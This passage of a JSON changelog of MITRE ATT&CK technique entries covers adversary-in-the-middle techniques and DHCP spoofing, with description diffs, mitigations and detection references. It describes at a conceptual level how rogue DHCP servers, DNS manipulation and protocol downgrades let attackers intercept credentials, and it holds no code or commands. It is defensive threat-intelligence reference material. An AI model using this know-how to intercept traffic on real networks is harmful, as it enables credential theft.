users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1689)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\\n\\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1689)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\\n \\n-Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\\n+Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can set up a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\"}}}",
                    "previous_version": "2.5",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to69__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to69__0\"><a href=\"#difflib_chg_to69__top\">t</a></td><td class=\"diff_header\" id=\"from69_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;position&nbsp;themselves&nbsp;between&nbsp;two&nbsp;o</td><td class=\"diff_next\"><a href=\"#difflib_chg_to69__top\">t</a></td><td class=\"diff_header\" id=\"to69_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;position&nbsp;themselves&nbsp;between&nbsp;two&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;more&nbsp;networked&nbsp;devices&nbsp;using&nbsp;an&nbsp;adversary-in-the-middle&nbsp;(A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;more&nbsp;networked&nbsp;devices&nbsp;using&nbsp;an&nbsp;adversary-in-the-middle&nbsp;(A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iTM)&nbsp;technique&nbsp;to&nbsp;support&nbsp;follow-on&nbsp;behaviors&nbsp;such&nbsp;as&nbsp;[Netwo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iTM)&nbsp;technique&nbsp;to&nbsp;support&nbsp;follow-on&nbsp;behaviors&nbsp;such&nbsp;as&nbsp;[Netwo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rk&nbsp;Sniffing](https://attack.mitre.org/techniques/T1040),&nbsp;[Tr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rk&nbsp;Sniffing](https://attack.mitre.org/techniques/T1040),&nbsp;[Tr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ansmitted&nbsp;Data&nbsp;Manipulation](https://attack.mitre.org/techni</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ansmitted&nbsp;Data&nbsp;Manipulation](https://attack.mitre.org/techni</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1565/002),&nbsp;or&nbsp;replay&nbsp;attacks&nbsp;([Exploitation&nbsp;for&nbsp;Creden</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1565/002),&nbsp;or&nbsp;replay&nbsp;attacks&nbsp;([Exploitation&nbsp;for&nbsp;Creden</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tial&nbsp;Access](https://attack.mitre.org/techniques/T1212)).&nbsp;By</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tial&nbsp;Access](https://attack.mitre.org/techniques/T1212)).&nbsp;By</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;abusing&nbsp;features&nbsp;of&nbsp;common&nbsp;networking&nbsp;protocols&nbsp;that&nbsp;can&nbsp;de</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;abusing&nbsp;features&nbsp;of&nbsp;common&nbsp;networking&nbsp;protocols&nbsp;that&nbsp;can&nbsp;de</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">termine&nbsp;the&nbsp;flow&nbsp;of&nbsp;network&nbsp;traffic&nbsp;(e.g.&nbsp;ARP,&nbsp;DNS,&nbsp;LLMNR,&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">termine&nbsp;the&nbsp;flow&nbsp;of&nbsp;network&nbsp;traffic&nbsp;(e.g.&nbsp;ARP,&nbsp;DNS,&nbsp;LLMNR,&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tc.),&nbsp;adversaries&nbsp;may&nbsp;force&nbsp;a&nbsp;device&nbsp;to&nbsp;communicate&nbsp;through&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tc.),&nbsp;adversaries&nbsp;may&nbsp;force&nbsp;a&nbsp;device&nbsp;to&nbsp;communicate&nbsp;through&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;adversary&nbsp;controlled&nbsp;system&nbsp;so&nbsp;they&nbsp;can&nbsp;collect&nbsp;informati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;adversary&nbsp;controlled&nbsp;system&nbsp;so&nbsp;they&nbsp;can&nbsp;collect&nbsp;informati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;or&nbsp;perform&nbsp;additional&nbsp;actions.(Citation:&nbsp;Rapid7&nbsp;MiTM&nbsp;Basi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;or&nbsp;perform&nbsp;additional&nbsp;actions.(Citation:&nbsp;Rapid7&nbsp;MiTM&nbsp;Basi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cs)&nbsp;&nbsp;For&nbsp;example,&nbsp;adversaries&nbsp;may&nbsp;manipulate&nbsp;victim&nbsp;DNS&nbsp;sett</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cs)&nbsp;&nbsp;For&nbsp;example,&nbsp;adversaries&nbsp;may&nbsp;manipulate&nbsp;victim&nbsp;DNS&nbsp;sett</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ings&nbsp;to&nbsp;enable&nbsp;other&nbsp;malicious&nbsp;activities&nbsp;such&nbsp;as&nbsp;preventing</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ings&nbsp;to&nbsp;enable&nbsp;other&nbsp;malicious&nbsp;activities&nbsp;such&nbsp;as&nbsp;preventing</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/redirecting&nbsp;users&nbsp;from&nbsp;accessing&nbsp;legitimate&nbsp;sites&nbsp;and/or&nbsp;pu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/redirecting&nbsp;users&nbsp;from&nbsp;accessing&nbsp;legitimate&nbsp;sites&nbsp;and/or&nbsp;pu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shing&nbsp;additional&nbsp;malware.(Citation:&nbsp;ttint_rat)(Citation:&nbsp;dns</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shing&nbsp;additional&nbsp;malware.(Citation:&nbsp;ttint_rat)(Citation:&nbsp;dns</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">_changer_trojans)(Citation:&nbsp;ad_blocker_with_miner)&nbsp;Adversari</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">_changer_trojans)(Citation:&nbsp;ad_blocker_with_miner)&nbsp;Adversari</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;may&nbsp;also&nbsp;manipulate&nbsp;DNS&nbsp;and&nbsp;leverage&nbsp;their&nbsp;position&nbsp;in&nbsp;or</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;may&nbsp;also&nbsp;manipulate&nbsp;DNS&nbsp;and&nbsp;leverage&nbsp;their&nbsp;position&nbsp;in&nbsp;or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">der&nbsp;to&nbsp;intercept&nbsp;user&nbsp;credentials,&nbsp;including&nbsp;access&nbsp;tokens&nbsp;(</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">der&nbsp;to&nbsp;intercept&nbsp;user&nbsp;credentials,&nbsp;including&nbsp;access&nbsp;tokens&nbsp;(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">[Steal&nbsp;Application&nbsp;Access&nbsp;Token](https://attack.mitre.org/te</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">[Steal&nbsp;Application&nbsp;Access&nbsp;Token](https://attack.mitre.org/te</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques/T1528))&nbsp;and&nbsp;session&nbsp;cookies&nbsp;([Steal&nbsp;Web&nbsp;Session&nbsp;Coo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques/T1528))&nbsp;and&nbsp;session&nbsp;cookies&nbsp;([Steal&nbsp;Web&nbsp;Session&nbsp;Coo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kie](https://attack.mitre.org/techniques/T1539)).(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kie](https://attack.mitre.org/techniques/T1539)).(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">volexity_0day_sophos_FW)(Citation:&nbsp;Token&nbsp;tactics)&nbsp;[Downgrade</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">volexity_0day_sophos_FW)(Citation:&nbsp;Token&nbsp;tactics)&nbsp;[Downgrade</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Attack](https://attack.mitre.org/techniques/T1689)s&nbsp;can&nbsp;als</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Attack](https://attack.mitre.org/techniques/T1689)s&nbsp;can&nbsp;als</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;be&nbsp;used&nbsp;to&nbsp;establish&nbsp;an&nbsp;AiTM&nbsp;position,&nbsp;such&nbsp;as&nbsp;by&nbsp;negotiat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;be&nbsp;used&nbsp;to&nbsp;establish&nbsp;an&nbsp;AiTM&nbsp;position,&nbsp;such&nbsp;as&nbsp;by&nbsp;negotiat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;a&nbsp;less&nbsp;secure,&nbsp;deprecated,&nbsp;or&nbsp;weaker&nbsp;version&nbsp;of&nbsp;communic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;a&nbsp;less&nbsp;secure,&nbsp;deprecated,&nbsp;or&nbsp;weaker&nbsp;version&nbsp;of&nbsp;communic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;protocol&nbsp;(SSL/TLS)&nbsp;or&nbsp;encryption&nbsp;algorithm.(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;protocol&nbsp;(SSL/TLS)&nbsp;or&nbsp;encryption&nbsp;algorithm.(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitm_tls_downgrade_att)(Citation:&nbsp;taxonomy_downgrade_att_tls</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitm_tls_downgrade_att)(Citation:&nbsp;taxonomy_downgrade_att_tls</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)(Citation:&nbsp;tlseminar_downgrade_att)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;l</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)(Citation:&nbsp;tlseminar_downgrade_att)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;l</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">everage&nbsp;the&nbsp;AiTM&nbsp;position&nbsp;to&nbsp;attempt&nbsp;to&nbsp;monitor&nbsp;and/or&nbsp;modif</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">everage&nbsp;the&nbsp;AiTM&nbsp;position&nbsp;to&nbsp;attempt&nbsp;to&nbsp;monitor&nbsp;and/or&nbsp;modif</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;traffic,&nbsp;such&nbsp;as&nbsp;in&nbsp;[Transmitted&nbsp;Data&nbsp;Manipulation](https:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;traffic,&nbsp;such&nbsp;as&nbsp;in&nbsp;[Transmitted&nbsp;Data&nbsp;Manipulation](https:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">//attack.mitre.org/techniques/T1565/002).&nbsp;Adversaries&nbsp;can&nbsp;se</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">//attack.mitre.org/techniques/T1565/002).&nbsp;Adversaries&nbsp;can&nbsp;se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t<span class=\"diff_chg\">up&nbsp;a&nbsp;position&nbsp;similar&nbsp;to</span>&nbsp;AiTM&nbsp;to&nbsp;prevent&nbsp;traffic&nbsp;from&nbsp;flowi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t<span class=\"diff_chg\">&nbsp;up&nbsp;a&nbsp;position&nbsp;similar&nbsp;to</span>&nbsp;AiTM&nbsp;to&nbsp;prevent&nbsp;traffic&nbsp;from&nbsp;flow</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;to&nbsp;the&nbsp;appropriate&nbsp;destination,&nbsp;potentially&nbsp;to&nbsp;impair&nbsp;def</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;to&nbsp;the&nbsp;appropriate&nbsp;destination,&nbsp;potentially&nbsp;to&nbsp;impair&nbsp;de</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">enses&nbsp;and/or&nbsp;in&nbsp;support&nbsp;of&nbsp;a&nbsp;[Network&nbsp;Denial&nbsp;of&nbsp;Service](htt</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">fenses&nbsp;and/or&nbsp;in&nbsp;support&nbsp;of&nbsp;a&nbsp;[Network&nbsp;Denial&nbsp;of&nbsp;Service](ht</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ps://attack.mitre.org/techniques/T1498).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tps://attack.mitre.org/techniques/T1498).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1017: User Training",
                            "M1030: Network Segmentation",
                            "M1031: Network Intrusion Prevention",
                            "M1035: Limit Access to Resource Over Network",
                            "M1037: Filter Network Traffic",
                            "M1041: Encrypt Sensitive Information",
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0296: Detect Adversary-in-the-Middle via Network and Configuration Anomalies"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2022-03-24 19:30:56.727000+00:00",
                    "modified": "2026-11-03 23:43:50.809000+00:00",
                    "name": "DHCP Spoofing",
                    "description": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending an <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e., [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "collection"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1557/003",
                            "external_id": "T1557.003"
                        },
                        {
                            "source_name": "rfc2131",
                            "description": "Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022.",
                            "url": "https://datatracker.ietf.org/doc/html/rfc2131"
                        },
                        {
                            "source_name": "new_rogue_DHCP_serv_malware",
                            "description": "Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022.",
                            "url": "https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/"
                        },
                        {
                            "source_name": "rfc3315",
                            "description": "J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol for IPv6 (DHCPv6). Retrieved June 27, 2022.",
                            "url": "https://datatracker.ietf.org/doc/html/rfc3315"
                        },
                        {
                            "source_name": "w32.tidserv.g",
                            "description": "Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022.",
                            "url": "https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Alex Spivakovsky, Pentera",
                        "Andrew Allen, @whitehat_zero"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "Windows",
                        "macOS"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:43:50.809000+00:00\", \"old_value\": \"2025-10-24 17:48:49.941000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\\n\\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \\n\\n1. The client broadcasts a `DISCOVER` message.\\n\\n2. The server responds with an `OFFER` message, which includes an available network address. \\n\\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \\n\\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\\n\\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\\n\\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending an <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\\n\\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e., [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\\u2019s DHCP allocation pool. \", \"old_value\": \"Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\\n\\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \\n\\n1. The client broadcasts a `DISCOVER` message.\\n\\n2. The server responds with an `OFFER` message, which includes an available network address. \\n\\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \\n\\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\\n\\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\\n\\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\\n\\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\\u2019s DHCP allocation pool. \", \"diff\": \"--- \\n+++ \\n@@ -12,6 +12,6 @@\\n \\n Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\\n \\n-DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\\n+DHCPv6 clients can receive network configuration information without being assigned an IP address by sending an <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\\n \\n-Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\\u2019s DHCP allocation pool. \\n+Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e., [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\\u2019s DHCP allocation pool. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][4]\": {\"source_name\": \"dhcp_serv_op_events\", \"description\": \"Microsoft. (2006, August 31).  DHCP Server Operational Events. Retrieved March 7, 2022.\", \"url\": \"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)\"}, \"root['external_references'][5]\": {\"source_name\": \"solution_monitor_dhcp_scopes\", \"description\": \"Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.\", \"url\": 